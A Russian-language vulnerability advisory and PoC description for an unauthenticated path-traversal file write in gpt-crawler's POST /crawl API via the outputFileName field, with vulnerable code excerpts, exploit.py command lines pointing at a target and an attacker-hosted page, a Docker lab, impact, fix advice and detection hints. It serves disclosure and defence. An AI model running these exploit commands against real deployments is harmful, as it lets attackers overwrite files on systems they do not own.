
CVE-2026-82286 — gpt-crawler <=1.5.1 неаутентифицированная произвольная запись файлов через outputFileName (POST /crawl). PoC + автономная Docker-лаборатория. CVSS 8.6, CWE-22.
Proof-of-concept для неаутентифицированной произвольной записи файлов в
BuilderIO/gpt-crawler (≈22k ★) через
параметр outputFileName конечной точки API POST /crawl.
| CVE | CVE-2026-82286 |
| Продукт | gpt-crawler (BuilderIO) |
| Затронуто | <= 1.5.1 (последний релиз; HEAD ветки по умолчанию также затронут) |
| Класс | Path Traversal / Произвольная запись файлов (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (ВЫСОКИЙ) |
| Аутентификация | Отсутствует (неаутентифицированный) |
| Предусловие | Запущен режим API-сервера (npm run start:server) |
| Статус | ПОДТВЕРЖДЕНО end-to-end (не исправлено по состоянию на 2026-08-29) |
API-сервер (src/server.ts) предоставляет POST /crawl без аутентификации. JSON-тело
напрямую разбирается в конфигурацию краулера Config; outputFileName валидируется
только как z.string() — никаких ограничений на путь нет:
// src/config.ts
outputFileName: z.string(),
В src/core.ts функция write() строит путь вывода напрямую из этой управляемой
атакующим строки и вызывает для неё fs.writeFile():
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
Таким образом, удалённый неаутентифицированный атакующий контролирует полный путь
файла, записываемого за пределами предполагаемой области вывода storage/ — через
абсолютный путь (/tmp/x, /home/<user>/x) или обход с помощью ../. Содержимое
файла — это результат краулинга [{title,url,html}], поля которого берутся со страницы,
на которую атакующий направляет краулер (укажите url на контролируемый вами сервер),
поэтому содержимое находится под влиянием атакующего.
Единственное ограничение — принудительный суффикс -<N>.json (имя всегда заканчивается
на .json) и обёртка в виде JSON-массива — именно поэтому это оценивается как
произвольная запись файлов (I:H), а не полноценный RCE.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # страница, содержимое которой попадает в записываемый файл
-o /home/myuser/PWNED # -> записывает /home/myuser/PWNED-1.json
Конечная точка отражает содержимое записанного файла в HTTP-ответе. Эмпирическое
доказательство — появление файла по выбранному атакующим пути в файловой системе цели
(см. EVIDENCE.txt).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- записано за пределами storage/, без аутентификации
Очистка: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
Неаутентифицированный сетевой атакующий может создавать или перезаписывать файлы по
произвольным путям (с учётом прав пользователя процесса и суффикса -<N>.json) с
частично контролируемым содержимым. В зависимости от развёртывания это позволяет
вносить изменения в конфигурационные/файлы данных, портить состояние приложения
(целостность/доступность) и, на целях, которые впоследствии потребляют записанный
файл *.json, может быть использовано для дальнейших атак.
Уязвимый код достижим только в режиме API-сервера (src/server.ts, запускается
через npm run start:server / развёртывание containerapp), а не в режиме CLI по
умолчанию. Сервер привязывается к API_HOST (по умолчанию localhost); реальные
развёртывания, которые открывают API, устанавливают его в 0.0.0.0 (как это делает
образ containerapp), что делает конечную точку доступной удалённо.
outputFileName относительно фиксированной базовой директории и
отклоняйте результат, если он выходит за её пределы (path.resolve(base, name) +
проверка префикса); отбрасывайте .. и абсолютные пути.POST /crawl.Ищите тела запросов POST /crawl, в которых outputFileName содержит /, \ или ..,
а также файлы *-1.json, появляющиеся за пределами директории storage/ краулера.
Исследование и PoC: Caio Fabrício (BiiTts).